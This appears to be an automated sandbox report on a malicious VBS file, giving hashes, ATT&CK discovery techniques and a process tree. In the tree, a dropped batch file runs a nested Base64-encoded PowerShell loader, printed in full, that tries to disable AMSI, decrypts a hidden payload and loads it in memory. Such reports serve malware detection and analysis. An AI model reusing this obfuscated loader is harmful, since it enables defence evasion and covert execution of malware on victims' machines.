1f522a21b4f7df8d6d4537d2aaba1b407ee427d4e44f89427ad35c3556730843

General

Target

9491700097082_20250101_20250211_40489.vbs
Size

61KB
MD5

6b21159837ddee24c19775ca1f5ec62d
SHA1

d68d6100363fd75679c69111288d9fa692b35cba
SHA256

1bf0f448a3723866f225527bd1cae2d5062ca48c298b425c11968b4bbddca5c8
SHA512

2633084c9bf5db0e2f241a33692ce9069ba04fa72c5b8d7cbdb1573f469b039cf1d99836fe21cb5eef0cc7744ecbdb6f1dcdee82c88c851aaa10e5293a8ac023
SSDEEP

768:e2ysVepqc8QaEiZ7LfrPBW/2Vbt804sXcYpr6qDaR2UjKWlAi4fKds8kzB6oerlN:m9a5bBvVbu04s5CR2lWiIAwltrQRFY

Score

3^/10

discovery

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1988	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1988	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1988	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 2884	2396	WScript.exe	30
PID 2396 wrote to memory of 2884	2396	WScript.exe	30
PID 2396 wrote to memory of 2884	2396	WScript.exe	30
PID 2884 wrote to memory of 2480	2884	cmd.exe	32
PID 2884 wrote to memory of 2480	2884	cmd.exe	32
PID 2884 wrote to memory of 2480	2884	cmd.exe	32
PID 2480 wrote to memory of 2800	2480	cmd.exe	34
PID 2480 wrote to memory of 2800	2480	cmd.exe	34
PID 2480 wrote to memory of 2800	2480	cmd.exe	34
PID 2480 wrote to memory of 1988	2480	cmd.exe	35
PID 2480 wrote to memory of 1988	2480	cmd.exe	35
PID 2480 wrote to memory of 1988	2480	cmd.exe	35
PID 2480 wrote to memory of 1988	2480	cmd.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9491700097082_20250101_20250211_40489.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\EWVm.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\EWVm.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\EWVm.bat';iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("cG93ZXJzaGVsbCAtdyBoaWRkZW47aWV4ICgoJChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnYVZOVVVrbE9SMUpCVGtSUFRXVlRWRkpKVGtkU1FVNUVUMDE0VTFSU1NVNUhVa0ZPUkU5TklDaFRWRkpKVGtkU1FVNUVUMDBvVTFSU1NVNUhVa0ZPUkU5TmFWTlVVa2xPUjFKQlRrUlBUWGRUVkZKSlRrZFNRVTVFVDAxeVUxUlNTVTVIVWtGT1JFOU5JQzFUVkZKSlRrZFNRVTVFVDAxVlUxUlNTVTVIVWtGT1JFOU5jMU5VVWtsT1IxSkJUa1JQVFdWVFZGSkpUa2RTUVU1RVQwMUNVMVJTU1U1SFVrRk9SRTlOWVZOVVVrbE9SMUpCVGtSUFRYTlRWRkpKVGtkU1FVNUVUMDFwVTFSU1NVNUhVa0ZPUkU5TlkxTlVVa2xPUjFKQlRrUlBUVkJUVkZKSlRrZFNRVTVFVDAxaFUxUlNTVTVIVWtGT1JFOU5jbE5VVWtsT1IxSkJUa1JQVFhOVFZGSkpUa2RTUVU1RVQwMXBVMVJTU1U1SFVrRk9SRTlOYmxOVVVrbE9SMUpCVGtSUFRXZFRWRkpKVGtkU1FVNUVUMDBnSWxOVVVrbE9SMUpCVGtSUFRXaFRWRkpKVGtkU1FVNUVUMDEwVTFSU1NVNUhVa0ZPUkU5TmRGTlVVa2xPUjFKQlRrUlBUWEJUVkZKSlRrZFNRVTVFVDAwNlUxUlNTVTVIVWtGT1JFOU5MMU5VVWtsT1IxSkJUa1JQVFM5VFZGSkpUa2RTUVU1RVQwMDRVMVJTU1U1SFVrRk9SRTlOTjFOVVVrbE9SMUpCVGtSUFRTNVRWRkpKVGtkU1FVNUVUMDB4VTFSU1NVNUhVa0ZPUkU5Tk1sTlVVa2xPUjFKQlRrUlBUVEZUVkZKSlRrZFNRVTVFVDAwdVUxUlNTVTVIVWtGT1JFOU5OMU5VVWtsT1IxSkJUa1JQVFRsVFZGSkpUa2RTUVU1RVQwMHVVMVJTU1U1SFVrRk9SRTlOTVZOVVVrbE9SMUpCVGtSUFRUQlRWRkpKVGtkU1FVNUVUMDB6VTFSU1NVNUhVa0ZPUkU5TkwxTlVVa2xPUjFKQlRrUlBUV1JUVkZKSlRrZFNRVTVFVDAxdlUxUlNTVTVIVWtGT1JFOU5kMU5VVWtsT1IxSkJUa1JQVFc1VFZGSkpUa2RTUVU1RVQwMXNVMVJTU1U1SFVrRk9SRTlOYjFOVVVrbE9SMUpCVGtSUFRXRlRWRkpKVGtkU1FVNUVUMDFrVTFSU1NVNUhVa0ZPUkU5TkwxTlVVa2xPUjFKQlRrUlBUV0ZUVkZKSlRrZFNRVTVFVDAxaVUxUlNTVTVIVWtGT1JFOU5ZMU5VVWtsT1IxSkJUa1JQVFM1VFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOZUZOVVVrbE9SMUpCVGtSUFRYUlRWRkpKVGtkU1FVNUVUMDBpVTFSU1NVNUhVa0ZPUkU5TktWTlVVa2xPUjFKQlRrUlBUUzVUVkZKSlRrZFNRVTVFVDAxRFUxUlNTVTVIVWtGT1JFOU5iMU5VVWtsT1IxSkJUa1JQVFc1VFZGSkpUa2RTUVU1RVQwMTBVMVJTU1U1SFVrRk9SRTlOWlZOVVVrbE9SMUpCVGtSUFRXNVRWRkpKVGtkU1FVNUVUMDEwVTFSU1NVNUhVa0ZPUkU5TkxsTlVVa2xPUjFKQlRrUlBUVkpUVkZKSlRrZFNRVTVFVDAxbGNHeGhZMlVvSjBGQ1F5Y3NKeWNwS1NBdFJYSnliM0pCWTNScGIyNGdVMmxzWlc1MGJIbERiMjUwYVc1MVpUcz0nKSkpKSAtcmVwbGFjZSAnU1RSSU5HUkFORE9NJywgJycpO3RyeXsgSW52b2tlLVN5c1JvdXRpbmUgLURpc2FibGVTdmMgLUVycm9yQWN0aW9uIFN0b3AgfWNhdGNoeyBXcml0ZS1PdXRwdXQgIm1vZGlmaWVkIEFNU0kiIH07ZnVuY3Rpb24gTFVVTFkoJHBhcmFtX3Zhcil7JGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOyRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzskYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnbU91cis5SEZTR01XckFUaTVDdHVPOEZmVTV3RUlubW5scnFERzNyWnBkYz0nKTskYWVzX3Zhci5JVj1bU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCcwdksyZFh0TEZjZDNoMEJHaHJpZUlnPT0nKTskSlZTVE49JGFlc192YXIuQ3JlYXRlRGVjcnlwdG9yKCk7JExKVFNWPSRKVlNUTi5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsMCwkcGFyYW1fdmFyLkxlbmd0aCk7JEpWU1ROLkRpc3Bvc2UoKTskYWVzX3Zhci5EaXNwb3NlKCk7JExKVFNWO31mdW5jdGlvbiBkZWNvbXByZXNzX2Z1bmN0aW9uKCRwYXJhbV92YXIpeyRHWUpWQz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOyRJRkpQUj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JEhXTlZYPU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJEdZSlZDLFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskSFdOVlguQ29weVRvKCRJRkpQUik7JEhXTlZYLkRpc3Bvc2UoKTskR1lKVkMuRGlzcG9zZSgpOyRJRkpQUi5EaXNwb3NlKCk7JElGSlBSLlRvQXJyYXkoKTt9JEZOUlVMPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskcGF5bG9hZDJfdmFyPWRlY29tcHJlc3NfZnVuY3Rpb24gKExVVUxZIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJEZOUlVMLCA2KS5TdWJzdHJpbmcoMikpKSk7W1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRwYXlsb2FkMl92YXIpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtjbGVhcjs="))) "
      4⤵
      PID:2800
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\EWVm.bat

Filesize
60KB

MD5
30179bad5e03a30e4504d17b8d229040

SHA1
2c83202965edce60712bd659c130e092d23661a1

SHA256
41f5621dc203a8593337d685d66fb8337a305e35b0d9b0b825d5e33618e9b24d

SHA512
ffe737e2575ac951572736654decd3cbe07ba07d46def5876e87f8626e5fb93eb437596d04c387fe66c3fa6ec3c9cd5dd04389a5ac8fcdefac3693226fe1efc3

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Analysis

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